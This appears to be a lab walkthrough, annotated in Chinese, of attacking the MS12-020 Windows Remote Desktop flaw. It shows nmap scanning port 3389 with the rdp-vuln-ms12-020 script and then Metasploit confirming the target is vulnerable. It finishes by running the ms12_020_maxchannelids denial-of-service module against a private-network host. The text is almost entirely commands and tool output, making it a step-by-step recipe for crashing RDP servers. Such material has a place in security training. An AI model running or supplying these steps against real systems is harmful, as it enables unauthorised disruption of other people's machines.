```
   service postgresql start

    1. nmap
    root@MiWiFi-R1CL-srv:~# cd /usr/share/nmap/scripts/
    root@MiWiFi-R1CL-srv:/usr/share/nmap/scripts# ls |grep
 rdp
    http-wordpress-brute.nse
    http-wordpress-enum.nse
    http-wordpress-users.nse
    rdp-enum-encryption.nse
    rdp-vuln-ms12-020.nse

    2. nmap -vv --open -p 3389 --script=rdp-vuln-ms12-020 1
92.168.159.128

    3. msfconsole
    search ms12-020

    (1) 漏洞检测
    msf > use  auxiliary/scanner/rdp/ms12_020_check
    msf auxiliary(ms12_020_check) > set rhosts 192.168.159.
128 设置远程 ip
    msf auxiliary(ms12_020_check) > show options   查看配置

    Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       RHOSTS   192.168.159.128  yes       The target addre
ss range or CIDR identifier
       RPORT    3389             yes       Remote port runn
ing RDP (TCP)
       THREADS  1                yes       The number of co
ncurrent threads

    msf auxiliary(ms12_020_check) > run

    [+] 192.168.159.128:3389  - 192.168.159.128:3389 - The
 target is vulnerable.  漏洞存在
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

    (2) 漏洞攻击
    msf auxiliary(ms12_020_check) > use auxiliary/dos/wind
ows/rdp/ms12_020_maxchannelids
    msf auxiliary(ms12_020_maxchannelids) > set rhost 192.1
68.159.128  设置远程 ip
    rhost => 192.168.159.128
    msf auxiliary(ms12_020_maxchannelids) > show options
    msf auxiliary(ms12_020_maxchannelids) > run
```